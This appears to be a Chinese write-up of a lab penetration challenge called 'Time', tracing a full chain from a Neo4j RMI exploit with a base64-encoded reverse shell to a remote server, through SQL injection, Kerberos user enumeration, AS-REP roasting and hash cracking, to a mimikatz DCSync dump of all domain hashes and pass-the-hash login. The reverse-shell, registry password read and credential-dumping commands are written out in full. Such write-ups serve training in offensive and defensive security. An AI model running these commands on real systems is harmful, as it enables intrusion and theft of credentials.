概述#
Time 是一套難度為中等的靶場環境,完成該挑戰可以幫助玩家了解內網滲透中的代理轉發、內網掃描、信息收集、特權提升以及橫向移動技術方法,加強對域環境核心認證機制的理解,以及掌握域環境滲透中一些有趣的技術要點。該靶場共有 4 個 flag,分布於不同的靶機。
實驗過程中,靶場啟動多了,所以後面靶機換了幾次 ip,但都是 39 開頭
flag1#
信息收集#
masscan 進行全端口掃描
sudo masscan -p1-65535 --rate 5000 39.98.107.240
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-01-05 07:16:06 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 7474/tcp on 39.98.107.240
Discovered open port 22/tcp on 39.98.107.240
Discovered open port 44667/tcp on 39.98.107.240
Discovered open port 1337/tcp on 39.98.107.240
Discovered open port 7473/tcp on 39.98.107.240
Discovered open port 7687/tcp on 39.98.107.240
http://39.98.107.240:7474/browser/
https://39.98.107.240:7473/browser/
上述兩個 url 是 Neo4j Browser,訪問:http://39.98.107.240:7687/,界面如下
由 7687 端口可知,伺服器上安裝了 neo4j 組件
neo4j 存在 CVE-2021-34371 漏洞,參考下述鏈接,可直接利用
CVE-2021-34371.jar
java9 運行,先請求下 dnslog,看下是否可利用
dnslog 收到請求
接下來反彈 shell,39.98.107.240 監聽了 1337 端口
# 本機電腦執行如下命令,base64編碼的內容是反彈的vps伺服器
java -jar rhino_gadget.jar rmi://39.98.107.240:1337 "bash -c {echo,L2Jpbi9zaCAtaSxxxxxxxxxMC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"
vps 伺服器開啟監聽nc -lvnp 1234
,vps 伺服器上收到 shell,此靶機 ip 為 172.22.6.36
此靶機上有第一個 flag
flag01: flag{14d2f5e2-b720-449f-87c9-52e0cb450cdd}
flag2#
fscan 掃描內網#
vps 伺服器啟動 web 服務,靶機下載 fscan
neo4j@ubuntu:~$ ./fscan -h 172.22.6.0/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.6.12 is alive
(icmp) Target 172.22.6.25 is alive
(icmp) Target 172.22.6.36 is alive
(icmp) Target 172.22.6.38 is alive
[*] Icmp alive hosts len is: 4
172.22.6.25:445 open
172.22.6.12:445 open
172.22.6.25:139 open
172.22.6.12:139 open
172.22.6.25:135 open
172.22.6.12:135 open
172.22.6.38:80 open
172.22.6.38:22 open
172.22.6.12:88 open
172.22.6.36:7687 open
172.22.6.36:22 open
[*] alive ports len is: 11
start vulscan
[*] NetInfo
[*]172.22.6.12
[->]DC-PROGAME
[->]172.22.6.12
[*] NetInfo
[*]172.22.6.25
[->]WIN2019
[->]172.22.6.25
[*] OsInfo 172.22.6.12 (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.6.25 XIAORANG\WIN2019
[*] NetBios 172.22.6.12 [+] DC:DC-PROGAME.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.6.38 code:200 len:1531 title:後台登錄
[*] WebTitle https://172.22.6.36:7687 code:400 len:50 title:None
已完成 11/11
[*] 扫描结束,耗时: 13.077550134s
內網信息收集#
1、DC:172.22.6.12 (Windows Server 2016 Datacenter 14393) DC:DC-PROGAME 開放了88端口,Kerberos會使用的端口 #DC
2、172.22.6.25 WIN2019 #域內機器
3、http://172.22.6.38 web頁面,後台登錄
sqli 注入#
只有一個登錄頁面,當輸入如下內容時,顯示 Welcome, administrator!,但沒有其他的東西了,此處存在注入,用 sqlmap 跑
username=admin' or '1'='1&password=admin' or '1'='1
flag 位於 oa_f1Agggg 表中,這是第二個 flag
flag{b142f5ce-d9b8-4b73-9012-ad75175ba029}
flag3#
內網滲透#
使用 venom 開啟代理
venom 下載地址:https://github.com/ropnop/kerbrute/releases/tag/v1.0.3
venom 開啟 socks 代理後,訪問http://172.22.6.38
枚舉域用戶#
flag02 中有個表存在一堆賬戶
將賬號導出,去掉空格,轉成小寫,做成字典,用 kerbrute 去枚舉賬號
proxychains -q /home/kali/Desktop/kerbrute_linux_amd64 userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10
通過代理無法枚舉
只能將工具上傳到之前獲取的 172.22.6.38 伺服器中,進行枚舉
./kerbrute_darwin_amd64 userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10
爆破了不少用戶名,整理成字典文件 user.txt
ASREProast 攻擊#
GetNPUsers.py
這個工具能夠找出那些在域中設置了 "無需 Kerberos 預認證" 的用戶,並嘗試在不知道他們密碼的情況下獲取他們的票據授予票據(TGTs)。
接著,可以嘗試破解隨票據一起發送的會話密鑰,以此來恢復用戶的密碼,這種技術被稱作 ASREProast 攻擊。
proxychains4 python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab/
得到兩個賬戶
[email protected]@XIAORANG.LAB:26c16dff96869458316c2477ca192408$e46633113daf3fba930a3e016326329adc14790d09e084968a2fd910ccd9baddf0ec34e35f186f3779fd043d8f055fa615288e58b80c233503b6a25987542eedbca307284a52e44bfd7375660db167d3fb5263f7d496cb8e6c98930239ea53783c31fc085c77a2868e61913abee18cf14460d2fe2a9aebdfa89f84e44959b63336f837ba7b02f6e9713a44d4765e24381c64a2ea5fb249ae1ae0276b062f5a32a8b41b9c68330a632f67df2019dc1d2c642950793cca67757e09af49fa657d089081b71f9bba9264b4b7c33ad6d81c00a024b5d7154b850df9c9469bb4b0c0223297444a838cba0ec97d224d
[email protected]@XIAORANG.LAB:5f4042cedcac50fab53fbe2ed069f8bb$92b24440eda0c831a5c184ae655f56e9078be319b726dc41ba2e15cfdcf936383a96e1fc65aa99017dec89ed2f11939cbf430c543ef297c4a857b5d2bfb15a376b9eeb2f7d9e910a844ea43a7969edac7c4fd55c02477378eabc3ef278c07a1261c75e8037e37b1b472111b3ae28fc7132f759ef834ad745e4035187a4569dc712a876ac20421b697e62bb0890a46789aa796709a5a47fd8796b6487e93690102a0a3fc156878e4e508366470dd404bb39476938b05e4a0b5478c3d1431a4b61a49ec15156691a6dcb1bf57710a5859c9c137c69778b1f5f93aca3f8c802bcd93163a15582e4766d35f6b0f4
通過 hashcat 爆破
hashcat -m 18200 --force -a 0 '[email protected]@XIAORANG.LAB:5f4042cedcac50fab53fbe2ed069f8bb$92b24440eda0c831a5c184ae655f56e9078be319b726dc41ba2e15cfdcf936383a96e1fc65aa99017dec89ed2f11939cbf430c543ef297c4a857b5d2bfb15a376b9eeb2f7d9e910a844ea43a7969edac7c4fd55c02477378eabc3ef278c07a1261c75e8037e37b1b472111b3ae28fc7132f759ef834ad745e4035187a4569dc712a876ac20421b697e62bb0890a46789aa796709a5a47fd8796b6487e93690102a0a3fc156878e4e508366470dd404bb39476938b05e4a0b5478c3d1431a4b61a49ec15156691a6dcb1bf57710a5859c9c137c69778b1f5f93aca3f8c802bcd93163a15582e4766d35f6b0f4' /Users/grayash/pentesting/web-basic/p12-字典收集/rockyou.txt
爆破得到兩個賬號的密碼,
[email protected]/strawberry
[email protected]/hellokitty
域環境分析#
bloodhound#
bloodhound 可以分析域內的環境,保存所有收集的信息。由ingestors和visualisation application組成。
Bloodhound 是在攻擊者的計算機上本地運行的軟件。攻擊者必須在目標上運行一個collector
,它將枚舉有關域的大量信息。collector
運行完成後,它將輸出一系列 .json
文件,供導入到攻擊者的 Bloodhound 界面中。
1、安裝 bloodhound
apt-get install bloodhound neo4j
2、啟動 neo4j 服務
sudo /usr/bin/neo4j start
3、訪問http://localhost:7474/browser/
默認密碼:neo4j,登錄後修改密碼
4、啟動 bloodhound
接下來開啟 BloodHound,kali 下自帶 BloodHound
輸入 bloodhound 即可,如果修改了 neo4j 密碼,填寫修改之後的密碼
登錄後界面如下:
SharpHound#
使用 zhangxin/strawberry 登錄 172.22.6.25 機器
proxychains -q xfreerdp /u:"zhangxin" /v:172.22.6.25:3389
#如果要複製文件
proxychains -q xfreerdp /u:"zhangxin" /v:172.22.6.25:3389 /p:strawberry +clipboard /drive:tmp,/tmp
登錄 172.22.6.25 機器,查看用戶,有四個用戶,wenshao 和 zhangxin 的密碼都有,yuxuan 和 administrator 的密碼目前沒有,但可以看到此賬戶在這台機器上登錄過,所以需要獲取 yuxuan 和 administrator 的密碼。
下載SharpHound,上傳至目標機器收集信息
.\SharpHound.exe -c all
運行完成後生成 zip 文件
將文件拖放到 Bloodhound 中,等待數據加載完成。
查找域管
查找到域管的最短路徑Find Shortest Paths to Domain Admins
時,發現少了 172.22.6.25 的內容,只有如下信息,但是可以發現可以通過 yuxuan 這個賬戶到達域管且 yuxuan 用戶存在HasSIDHistory
注意:經分析發現,sharpblood 導出數據集的時候,報錯了,導致未採集到 172.22.6.25 的信息,嘗試了幾次之後,還是報如下錯誤
所以需要獲取 yuyuan 賬戶的密碼,通過 query user 可以知道 yuxuan 用戶也登錄了此伺服器
說明 yuxuan 開啟了自動登錄,可通過下述命令獲取其密碼
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
#結果如下
DefaultUserName REG_SZ yuxuan
DefaultPassword REG_SZ Yuxuan7QbrgZ3L
HasSIDHistory#
根據 bloudhound 的圖可知,yuxuan 用戶存在 HasSIDHistory,HasSIDHistory
是一個 Active Directory (AD) 中的屬性,它指示一個對象是否具有 SIDHistory
屬性。
SIDHistory 為用戶的 SID 歷史記錄,用戶在域遷移後,票據還包含著前域所在組的 SID,雖然用戶不屬於前域,但仍擁有前域的權限
那麼接下來,通過 yuxuan 登錄 172.22.6.25,以便進行 SIDHistory 利用
proxychains -q xfreerdp /u:"[email protected]" /v:172.22.6.25:3389 /p:Yuxuan7QbrgZ3L +clipboard /drive:tmp,/tmp
上傳 mimikatz
mimikatz
是一個強大的工具,常用於提取憑據和執行各種攻擊技術。使用lsadump::dcsync
模塊,該模塊可以通過模擬域控制器(DC)同步來提取域中的用戶憑據。
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"
提取了一堆用戶的 hash
1103 shuzhen 07c1f387d7c2cf37e0ca7827393d2327 512
1104 gaiyong 52c909941c823dbe0f635b3711234d2e 512
1106 xiqidi a55d27cfa25f3df92ad558c304292f2e 512
1107 wengbang 6b1d97a5a68c6c6c9233d11274d13a2e 512
1108 xuanjiang a72a28c1a29ddf6509b8eabc61117c6c 512
1109 yuanchang e1cea038f5c9ffd9dc323daf35f6843b 512
1110 lvhui f58b31ef5da3fc831b4060552285ca54 512
1111 wenbo 9abb7115997ea03785e92542f684bdde 512
1112 zhenjun 94c84ba39c3ece24b419ab39fdd3de1a 512
1113 jinqing 4bf6ad7a2e9580bc8f19323f96749b3a 512
1115 yangju 1fa8c6b4307149415f5a1baffebe61cf 512
1117 weicheng 796a774eace67c159a65d6b86fea1d01 512
1118 weixian 8bd7dc83d84b3128bfbaf165bf292990 512
1119 haobei 045cc095cc91ba703c46aa9f9ce93df1 512
1120 jizhen 1840c5130e290816b55b4e5b60df10da 512
1121 jingze 3c8acaecc72f63a4be945ec6f4d6eeee 512
1122 rubao d8bd6484a344214d7e0cfee0fa76df74 512
1123 zhaoxiu 694c5c0ec86269daefff4dd611305fab 512
1124 tangshun 90b8d8b2146db6456d92a4a133eae225 512
1125 liangliang c67cd4bae75b82738e155df9dedab7c1 512
1126 qiyue b723d29e23f00c42d97dd97cc6b04bc8 512
1127 chouqian c6f0585b35de1862f324bc33c920328d 512
1128 jicheng 159ee55f1626f393de119946663a633c 512
1129 xiyi ee146df96b366efaeb5138832a75603b 512
1130 beijin a587b90ce9b675c9acf28826106d1d1d 512
1131 chenghui 08224236f9ddd68a51a794482b0e58b5 512
1132 chebin b50adfe07d0cef27ddabd4276b3c3168 512
1133 pengyuan a35d8f3c986ab37496896cbaa6cdfe3e 512
1134 yanglang 91c5550806405ee4d6f4521ba6e38f22 512
1135 jihuan cbe4d79f6264b71a48946c3fa94443f5 512
1136 duanmuxiao 494cc0e2e20d934647b2395d0a102fb0 512
1137 hongzhi f815bf5a1a17878b1438773dba555b8b 512
1138 gaijin b1040198d43631279a63b7fbc4c403af 512
1139 yifu 4836347be16e6af2cd746d3f934bb55a 512
1140 fusong adca7ec7f6ab1d2c60eb60f7dca81be7 512
1141 luwan c5b2b25ab76401f554f7e1e98d277a6a 512
1142 tangrong 2a38158c55abe6f6fe4b447fbc1a3e74 512
1143 zhufeng 71e03af8648921a3487a56e4bb8b5f53 512
1145 dongcheng f2fdf39c9ff94e24cf185a00bf0a186d 512
1146 lianhuangchen 23dc8b3e465c94577aa8a11a83c001af 512
1147 lili b290a36500f7e39beee8a29851a9f8d5 512
1148 huabi 02fe5838de111f9920e5e3bb7e009f2f 512
1149 rangsibo 103d0f70dc056939e431f9d2f604683c 512
1150 wohua cfcc49ec89dd76ba87019ca26e5f7a50 512
1151 haoguang 33efa30e6b3261d30a71ce397c779fda 512
1152 langying 52a8a125cd369ab16a385f3fcadc757d 512
1153 diaocai a14954d5307d74cd75089514ccca097a 512
1154 lianggui 4ae2996c7c15449689280dfaec6f2c37 512
1155 manxue 0255c42d9f960475f5ad03e0fee88589 512
1156 baqin 327f2a711e582db21d9dd6d08f7bdf91 512
1157 chengqiu 0d0c1421edf07323c1eb4f5665b5cb6d 512
1158 louyou a97ba112b411a3bfe140c941528a4648 512
1159 maqun 485c35105375e0754a852cee996ed33b 512
1160 wenbiao 36b6c466ea34b2c70500e0bfb98e68bc 512
1161 weishengshan f60a4233d03a2b03a7f0ae619c732fae 512
1163 chuyuan 0cfdca5c210c918b11e96661de82948a 512
1164 wenliang a4d2bacaf220292d5fdf9e89b3513a5c 512
1165 yulvxue cf970dea0689db62a43b272e2c99dccd 512
1166 luyue 274d823e941fc51f84ea323e22d5a8c4 512
1167 ganjian 7d3c39d94a272c6e1e2ffca927925ecc 512
1168 pangzhen 51d37e14983a43a6a45add0ae8939609 512
1169 guohong d3ce91810c1f004c782fe77c90f9deb6 512
1170 lezhong dad3990f640ccec92cf99f3b7be092c7 512
1171 sheweiyue d17aecec7aa3a6f4a1e8d8b7c2163b35 512
1172 dujian 8f7846c78f03bf55685a697fe20b0857 512
1173 lidongjin 34638b8589d235dea49e2153ae89f2a1 512
1174 hongqun 6c791ef38d72505baeb4a391de05b6e1 512
1175 yexing 34842d36248c2492a5c9a1ae5d850d54 512
1176 maoda 6e65c0796f05c0118fbaa8d9f1309026 512
1177 qiaomei 6a889f350a0ebc15cf9306687da3fd34 512
502 krbtgt a4206b127773884e2c7ea86cdd282d9c 514
1178 wenshao b31c6aa5660d6e87ee046b1bb5d0ff79 4260352
500 Administrator 04d93ffd6f5f6e4490e0de23f240a5e9 512
1000 DC-PROGAME$ cf3a203760c27000b2608aa84deb84fc 532480
1179 zhangxin d6c5976e07cdb410be19b84126367e3d 4260352
1181 WIN2019$ ae61e83d1a79b801495b135293311f74 4096
1180 yuxuan 376ece347142d1628632d440530e8eed 66048
從上述輸出中,找到管理員的 hash 值為:500 Administrator 04d93ffd6f5f6e4490e0de23f240a5e9 512
通過域管的 hash 登錄 172.22.6.25 和 172.22.6.12 (DC),獲取 flag03 和 flag04
proxychains crackmapexec smb 172.22.6.25 -u administrator -H04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
flag4#
proxychains crackmapexec smb 172.22.6.12 -u administrator -H00000000000000000000000000000000:04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
參考#
https://www.cnblogs.com/backlion/p/17187354.html
https://www.cnblogs.com/nice0e3/p/15934243.html
https://tools.thehacker.recipes/impacket/examples/getnpusers.py